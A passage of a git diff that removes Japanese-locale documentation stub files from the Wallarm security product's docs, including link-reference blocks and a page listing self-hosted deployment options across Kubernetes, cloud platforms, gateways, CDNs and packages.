../../api-specification-enforcement/overview.md -[threat-replay-testing-docs]: ../../vulnerability-detection/threat-replay-testing/overview.md -[api-discovery-docs]: ../../api-discovery/overview.md -[api-sessions-docs]: ../../api-sessions/overview.md -[vuln-detection-docs]: ../../about-wallarm/detecting-vulnerabilities.md -[masking-sensitive-data-rule]: ../../user-guides/rules/sensitive-data-rule.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "latest-ja/installation/inline/compute-instances/linux/all-in-one.md" diff --git a/docs/ja/installation/oob/ebpf/deployment.md b/docs/ja/installation/oob/ebpf/deployment.md deleted file mode 100644 index cb767f5199..0000000000 --- a/docs/ja/installation/oob/ebpf/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/ja/installation/oob/ebpf/helm-chart-for-wallarm.md b/docs/ja/installation/oob/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index be89a3b453..0000000000 --- a/docs/ja/installation/oob/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ja/installation/oob/ebpf/selecting-packets.md b/docs/ja/installation/oob/ebpf/selecting-packets.md deleted file mode 100644 index 5bcb1f25da..0000000000 --- a/docs/ja/installation/oob/ebpf/selecting-packets.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/ja/installation/oob/overview.md b/docs/ja/installation/oob/overview.md deleted file mode 100644 index b54f00bebf..0000000000 --- a/docs/ja/installation/oob/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/oob/overview.md" \ No newline at end of file diff --git a/docs/ja/installation/oob/tcp-traffic-mirror/deployment.md b/docs/ja/installation/oob/tcp-traffic-mirror/deployment.md deleted file mode 100644 index a8d7338c05..0000000000 --- a/docs/ja/installation/oob/tcp-traffic-mirror/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/oob/tcp-traffic-mirror/deployment.md" \ No newline at end of file diff --git a/docs/ja/installation/packages/aws-ami.md b/docs/ja/installation/packages/aws-ami.md deleted file mode 100644 index 1c57dae7be..0000000000 --- a/docs/ja/installation/packages/aws-ami.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest-ja/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest-ja/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest-ja/UserGuide/EC2_GetStarted.html#ec2-launch-instance -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws -[img-create-sg]: ../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[inline-docs]: ../inline/overview.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md -[aws-ami-traffic-flow]: ../../images/waf-installation/aws/aws-ami-flow.png -[img-security-group]: ../../images/aws-ami/security-group.png -[latest-node-version]: ../../updating-migrating/node-artifact-versions.md#amazon-machine-image-ami -[aws-costs]: ../../installation/cloud-platforms/aws/costs.md -[nginx-native-node]: ../../installation/nginx-native-node-internals.md -[wallarm-logs]: ../../admin-en/configure-logging.md -[log-level]: ../../installation/native-node/all-in-one-conf.md#loglevel - - ---8<-- "latest-ja/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/ja/installation/packages/gcp-machine-image.md b/docs/ja/installation/packages/gcp-machine-image.md deleted file mode 100644 index e781e11401..0000000000 --- a/docs/ja/installation/packages/gcp-machine-image.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[inline-docs]: ../inline/overview.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "latest-ja/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/free-tier.md b/docs/ja/installation/security-edge/free-tier.md deleted file mode 100644 index ab22ba510a..0000000000 --- a/docs/ja/installation/security-edge/free-tier.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/free-tier.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/access-control-lists.md b/docs/ja/installation/security-edge/inline/access-control-lists.md deleted file mode 100644 index e718ac23f1..0000000000 --- a/docs/ja/installation/security-edge/inline/access-control-lists.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/access-control-lists.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/cache-rules.md b/docs/ja/installation/security-edge/inline/cache-rules.md deleted file mode 100644 index f8ac55a5c3..0000000000 --- a/docs/ja/installation/security-edge/inline/cache-rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/cache-rules.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/custom-block-page.md b/docs/ja/installation/security-edge/inline/custom-block-page.md deleted file mode 100644 index 50094e995e..0000000000 --- a/docs/ja/installation/security-edge/inline/custom-block-page.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/custom-block-page.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/deployment.md b/docs/ja/installation/security-edge/inline/deployment.md deleted file mode 100644 index 4915e1f806..0000000000 --- a/docs/ja/installation/security-edge/inline/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/deployment.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/host-redirection.md b/docs/ja/installation/security-edge/inline/host-redirection.md deleted file mode 100644 index 4baab91db6..0000000000 --- a/docs/ja/installation/security-edge/inline/host-redirection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/host-redirection.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/mtls.md b/docs/ja/installation/security-edge/inline/mtls.md deleted file mode 100644 index c7d1540b4e..0000000000 --- a/docs/ja/installation/security-edge/inline/mtls.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/mtls.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/multi-region.md b/docs/ja/installation/security-edge/inline/multi-region.md deleted file mode 100644 index b17f72075c..0000000000 --- a/docs/ja/installation/security-edge/inline/multi-region.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/multi-region.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/nginx-overrides.md b/docs/ja/installation/security-edge/inline/nginx-overrides.md deleted file mode 100644 index 670b8f5c9b..0000000000 --- a/docs/ja/installation/security-edge/inline/nginx-overrides.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/nginx-overrides.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/overview.md b/docs/ja/installation/security-edge/inline/overview.md deleted file mode 100644 index 5e7ad427be..0000000000 --- a/docs/ja/installation/security-edge/inline/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/overview.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/telemetry-portal-logs-dashboard.md b/docs/ja/installation/security-edge/inline/telemetry-portal-logs-dashboard.md deleted file mode 100644 index 9e3fefe3c5..0000000000 --- a/docs/ja/installation/security-edge/inline/telemetry-portal-logs-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/telemetry-portal-logs-dashboard.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/telemetry-portal-main-dashboard.md b/docs/ja/installation/security-edge/inline/telemetry-portal-main-dashboard.md deleted file mode 100644 index 0784d8e218..0000000000 --- a/docs/ja/installation/security-edge/inline/telemetry-portal-main-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/telemetry-portal-main-dashboard.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/telemetry-portal.md b/docs/ja/installation/security-edge/inline/telemetry-portal.md deleted file mode 100644 index 4cf2ab0806..0000000000 --- a/docs/ja/installation/security-edge/inline/telemetry-portal.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/telemetry-portal.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/inline/upgrade-and-management.md b/docs/ja/installation/security-edge/inline/upgrade-and-management.md deleted file mode 100644 index 537373776a..0000000000 --- a/docs/ja/installation/security-edge/inline/upgrade-and-management.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/inline/upgrade-and-management.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/overview.md b/docs/ja/installation/security-edge/overview.md deleted file mode 100644 index f0511c3b39..0000000000 --- a/docs/ja/installation/security-edge/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/overview.md" \ No newline at end of file diff --git a/docs/ja/installation/security-edge/se-connector.md b/docs/ja/installation/security-edge/se-connector.md deleted file mode 100644 index cf5c1561c9..0000000000 --- a/docs/ja/installation/security-edge/se-connector.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/security-edge/se-connector.md" \ No newline at end of file diff --git a/docs/ja/installation/supported-deployment-options.md b/docs/ja/installation/supported-deployment-options.md deleted file mode 100644 index 4820557e7e..0000000000 --- a/docs/ja/installation/supported-deployment-options.md +++ /dev/null @@ -1,365 +0,0 @@ -# Self-Hosted Deployment Options - -In a self-hosted deployment, you are responsible for installing and operating the **[Wallarm Node](../about-wallarm/overview.md#filtering-node) within your infrastructure** - on Kubernetes clusters, virtual machines, or cloud environments. This gives you full control over configuration, networking, and scaling. - -Wallarm supports many deployment options enabling you to seamlessly integrate the platform with your environment. Learn the options and choose the most appropriate one from this document. - - - -## Kubernetes - -
-
- - -

NGINX Ingress Controller

-

Deploy the NGINX Ingress Controller with integrated Wallarm services

- - - - -

eBPF

-

Out-of-band deployment on Kubernetes using the eBPF technology

- -
-
- -## Public clouds - -
-
-
- -

Amazon Web Services

-

Artifacts for Wallarm deployment on AWS

-
- -
- -

Google Cloud

-

Artifacts for Wallarm deployment on GCP

-
- -
- -

Microsoft Azure

-

Artifacts for Wallarm deployment on Microsoft Azure

-
- -
- -

Alibaba Cloud

-

Artifacts for Wallarm deployment on Alibaba Cloud

-
- - - -

Heroku

-

Build a Wallarm Docker image and run it on Heroku

- -
- -
-
- -

Amazon Web Services

-

Artifacts for Wallarm deployment on AWS

-
- - -

AMI

-

Use the official Amazon Machine Image to deploy Wallarm

- - - -

ECS

-

Use the Docker image to deploy Wallarm with Elastic Container Service

- - -
-

Terraform module

-

Use the Terraform module for Wallarm deployment

-
-
- -
-
- -

Terraform module

-

Use the Terraform module for Wallarm deployment on AWS

-
- - -

Proxy in AWS VPC

-

Wallarm as proxy in AWS Virtual Private Cloud

- - - -

Proxy for Amazon API Gateway

-

Wallarm as proxy for Amazon API Gateway protection

- -
- -
-
- -

Google Cloud

-

Artifacts for Wallarm deployment on GCP

-
- - -

Machine Image

-

Use the official Google Cloud Machine Image to deploy Wallarm

- - - -

GCE

-

Use the Docker image to deploy Wallarm with Google Compute Engine

- -
- -
-
- -

Microsoft Azure

-

Artifacts for Wallarm deployment on Microsoft Azure

-
- - -

Azure Container Instances

-

Use the Docker image to deploy Wallarm with Azure Container Instances

- -
- -
-
- -

Alibaba Cloud

-

Artifacts for Wallarm deployment on Alibaba Cloud

-
- - -

ECS

-

Use the Docker image to deploy Wallarm with Elastic Compute Service

- -
-
- - -## API gateways - -Choose an API gateway connector if traffic already flows through a gateway and you want to add protection alongside it. - -
-
- - -

Broadcom Layer7 API Gateways

-

Secure APIs managed with Layer7 API Gateways

- - - - -

Kong API Gateway

-

Deploy Wallarm to secure APIs managed by Kong API Gateway

- -
-
- -## CDN - -Choose a CDN or edge integration if your traffic is fronted by a CDN and you want protection at the edge. - -
-
- - -

Akamai EdgeWorkers

-

Secure APIs running on Akamai EdgeWorkers

- - - - -

CloudFront

-

Deploy Wallarm to secure traffic delivered through Amazon CloudFront

- - - - -

Azion Edge

-

Secure APIs running on Azion Edge

- - - - -

Cloudflare

-

Deploy Wallarm to secure traffic running via Cloudflare

- - - - -

Fastly

-

Deploy Wallarm to secure APIs running on Fastly

- -
-
- -## API management platform - -Choose an API management connector if you expose APIs through one of these platforms and want to add security without changing it. - -
-
- - -

MuleSoft

-

Deploy Wallarm to secure APIs managed by MuleSoft

- - - - -

IBM API Connect

-

Deploy Wallarm to secure APIs managed through IBM API Connect

- -
-
- -## Packages & containers - -Choose packages or containers if you run on VMs or bare metal and prefer them over managed options. - -
-
- -
- -

NGINX Node

-

Node for infrastructures that rely on NGINX

-
- -
- -

Native Node

-

Self-hosted node for connectors or TCP traffic

-
- -
- -
- -
- -

NGINX Node

-

Node for infrastructures that rely on NGINX

-
- - - -

All-in-one installer

-

Let Wallarm detect your OS and NGINX version to install the appropriate modules

- - - - -

Docker image (NGINX)

-

Use the NGINX-based Docker image for Wallarm deployment

- - -
- -

Cloud images

-

Machine Images to deploy Wallarm on public clouds

-
- - - -

Terraform module

-

Use the Terraform module for Wallarm deployment on AWS

- -
- -
-
- -

Cloud images

-

Machine Images to deploy Wallarm on public clouds

-
- - -

AWS AMI

-

Use the official Machine Image to deploy Wallarm on AWS

- - - -

GCP Machine image

-

Use the official Machine Image to deploy Wallarm on Google Cloud

- -
- -
- -
- -

Native Node

-

Self-hosted node for connectors or TCP traffic

-
- - - -

All-in-one installer

-

Run the Native Node on a virtual machine on Linux

- - - - -

Helm chart

-

Run the Native Node in an infrastructure utilizing K8s

- - - - -

Docker image

-

Run the Native Node in a containerized environment using Docker

- -
- - -
- -## Special setups - -Deployment options that don't follow the platform matrix: known scenarios (multi-tenant, separate postanalytics, custom NGINX) and custom requests when nothing above fits. - -
-
- -

Multi-tenant Node deployment

-

Run Nodes for multiple tenants with per-account data and access isolation, ideal for SaaS and MSPs

- - - -

Separate postanalytics

-

Deploy postanalytics on a dedicated host to scale independently and offload the Filtering Node

- - - -

Custom NGINX version

-

Use Wallarm with a custom NGINX build when standard packages do not match your stack

- - - - -

Request custom deployment

-

Need something else? Request a custom deployment or integration

- -
-
- -## Related documentation - -* [Inline traffic flow](inline/overview.md) -* [Out-of-band traffic flow](oob/overview.md) -* [NGINX and Native Node overview](nginx-native-node-internals.md) -* [Connector overview](connectors/overview.md) - - diff --git a/docs/ja/integrations-devsecops/generate-sbom-for-docker-images.md b/docs/ja/integrations-devsecops/generate-sbom-for-docker-images.md deleted file mode 100644 index bbc00e69e3..0000000000 --- a/docs/ja/integrations-devsecops/generate-sbom-for-docker-images.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/integrations-devsecops/generate-sbom-for-docker-images.md" \ No newline at end of file diff --git a/docs/ja/integrations-devsecops/verify-docker-image-signature.md b/docs/ja/integrations-devsecops/verify-docker-image-signature.md deleted file mode 100644 index 434bad7e92..0000000000 --- a/docs/ja/integrations-devsecops/verify-docker-image-signature.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/integrations-devsecops/verify-docker-image-signature.md" \ No newline at end of file diff --git a/docs/ja/maintenance/overview.md b/docs/ja/maintenance/overview.md deleted file mode 100644 index cdb131ca9e..0000000000 --- a/docs/ja/maintenance/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/maintenance/overview.md" \ No newline at end of file diff --git a/docs/ja/quickstart/attack-prevention-best-practices.md b/docs/ja/quickstart/attack-prevention-best-practices.md deleted file mode 100644 index f744d4b5e4..0000000000 --- a/docs/ja/quickstart/attack-prevention-best-practices.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/quickstart/attack-prevention-best-practices.md" \ No newline at end of file diff --git a/docs/ja/quickstart/getting-started.md b/docs/ja/quickstart/getting-started.md deleted file mode 100644 index 4436969eb7..0000000000 --- a/docs/ja/quickstart/getting-started.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/quickstart/getting-started.md" \ No newline at end of file diff --git a/docs/ja/reference/comparing-wallarm-to-other-solutions.md b/docs/ja/reference/comparing-wallarm-to-other-solutions.md deleted file mode 100644 index 7084a87c57..0000000000 --- a/docs/ja/reference/comparing-wallarm-to-other-solutions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/reference/comparing-wallarm-to-other-solutions.md" diff --git a/docs/ja/robots.txt b/docs/ja/robots.txt deleted file mode 100644 index 5090581163..0000000000 --- a/docs/ja/robots.txt +++ /dev/null @@ -1,2 +0,0 @@ -User-agent: * -Content-Signal: ai-train=yes, search=yes, ai-input=no \ No newline at end of file diff --git a/docs/ja/sla.md b/docs/ja/sla.md deleted file mode 100644 index 4b56b6038a..0000000000 --- a/docs/ja/sla.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/sla.md" \ No newline at end of file diff --git a/docs/ja/troubleshooting/detection-and-blocking.md b/docs/ja/troubleshooting/detection-and-blocking.md deleted file mode 100644 index d46f301188..0000000000 --- a/docs/ja/troubleshooting/detection-and-blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/troubleshooting/detection-and-blocking.md" \ No newline at end of file diff --git a/docs/ja/troubleshooting/detection-tools-tuning.md b/docs/ja/troubleshooting/detection-tools-tuning.md deleted file mode 100644 index 9c900dbb76..0000000000 --- a/docs/ja/troubleshooting/detection-tools-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/troubleshooting/detection-tools-tuning.md" \ No newline at end of file diff --git a/docs/ja/troubleshooting/overview.md b/docs/ja/troubleshooting/overview.md deleted file mode 100644 index e1d1051a55..0000000000 --- a/docs/ja/troubleshooting/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/troubleshooting/overview.md" \ No newline at end of file diff --git a/docs/ja/troubleshooting/performance.md b/docs/ja/troubleshooting/performance.md deleted file mode 100644 index b1d2e1af1c..0000000000 --- a/docs/ja/troubleshooting/performance.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/troubleshooting/performance.md" \ No newline at end of file diff --git a/docs/ja/troubleshooting/wallarm-issues-in-nginx-error-log.md b/docs/ja/troubleshooting/wallarm-issues-in-nginx-error-log.md deleted file mode 100644 index a7c0033fed..0000000000 --- a/docs/ja/troubleshooting/wallarm-issues-in-nginx-error-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/troubleshooting/wallarm-issues-in-nginx-error-log.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/all-in-one.md b/docs/ja/updating-migrating/all-in-one.md deleted file mode 100644 index a52e086a27..0000000000 --- a/docs/ja/updating-migrating/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/all-in-one.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/cloud-image.md b/docs/ja/updating-migrating/cloud-image.md deleted file mode 100644 index 1cb0702cdb..0000000000 --- a/docs/ja/updating-migrating/cloud-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/cloud-image.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/docker-container.md b/docs/ja/updating-migrating/docker-container.md deleted file mode 100644 index 464409e4a6..0000000000 --- a/docs/ja/updating-migrating/docker-container.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/docker-container.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/general-recommendations.md b/docs/ja/updating-migrating/general-recommendations.md deleted file mode 100644 index e3d53f7171..0000000000 --- a/docs/ja/updating-migrating/general-recommendations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/general-recommendations.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/ingress-controller.md b/docs/ja/updating-migrating/ingress-controller.md deleted file mode 100644 index b46e2499f0..0000000000 --- a/docs/ja/updating-migrating/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/ingress-controller.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/ja/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index 7124c687f1..0000000000 --- a/docs/ja/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/migrate-ip-lists-to-node-3.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/multi-tenant.md b/docs/ja/updating-migrating/multi-tenant.md deleted file mode 100644 index 1f932fc955..0000000000 --- a/docs/ja/updating-migrating/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/multi-tenant.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/native-node/all-in-one.md b/docs/ja/updating-migrating/native-node/all-in-one.md deleted file mode 100644 index c1caf421f2..0000000000 --- a/docs/ja/updating-migrating/native-node/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/native-node/all-in-one.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/native-node/docker-image.md b/docs/ja/updating-migrating/native-node/docker-image.md deleted file mode 100644 index 14b26772f0..0000000000 --- a/docs/ja/updating-migrating/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/native-node/helm-chart.md b/docs/ja/updating-migrating/native-node/helm-chart.md deleted file mode 100644 index 5abd09b0ba..0000000000 --- a/docs/ja/updating-migrating/native-node/helm-chart.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/native-node/helm-chart.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/native-node/node-artifact-versions.md b/docs/ja/updating-migrating/native-node/node-artifact-versions.md deleted file mode 100644 index 247ea1d788..0000000000 --- a/docs/ja/updating-migrating/native-node/node-artifact-versions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/native-node/node-artifact-versions.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/nginx-ingress-retirement.md b/docs/ja/updating-migrating/nginx-ingress-retirement.md deleted file mode 100644 index 1bc595d1dc..0000000000 --- a/docs/ja/updating-migrating/nginx-ingress-retirement.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/updating-migrating/nginx-ingress-retirement.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/nginx-modules.md b/docs/ja/updating-migrating/nginx-modules.md deleted file mode 100644 index 90000e4dc8..0000000000 --- a/docs/ja/updating-migrating/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/nginx-modules.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/node-artifact-versions.md b/docs/ja/updating-migrating/node-artifact-versions.md deleted file mode 100644 index f187e49898..0000000000 --- a/docs/ja/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/node-artifact-versions.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/older-versions/cloud-image.md b/docs/ja/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index e07fbd3817..0000000000 --- a/docs/ja/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/older-versions/cloud-image.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/older-versions/docker-container.md b/docs/ja/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index a15efd1d4e..0000000000 --- a/docs/ja/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/older-versions/docker-container.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/older-versions/ingress-controller.md b/docs/ja/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index 70fe8524c6..0000000000 --- a/docs/ja/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/older-versions/ingress-controller.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/older-versions/multi-tenant.md b/docs/ja/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index ad4538ad5d..0000000000 --- a/docs/ja/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/older-versions/multi-tenant.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/older-versions/nginx-modules.md b/docs/ja/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index 13bc114204..0000000000 --- a/docs/ja/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/older-versions/nginx-modules.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/older-versions/separate-postanalytics.md b/docs/ja/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index e0323c5f03..0000000000 --- a/docs/ja/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/older-versions/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/older-versions/what-is-new.md b/docs/ja/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index d12a122611..0000000000 --- a/docs/ja/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/older-versions/what-is-new.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/separate-postanalytics.md b/docs/ja/updating-migrating/separate-postanalytics.md deleted file mode 100644 index a422b8b9f6..0000000000 --- a/docs/ja/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/sidecar-proxy.md 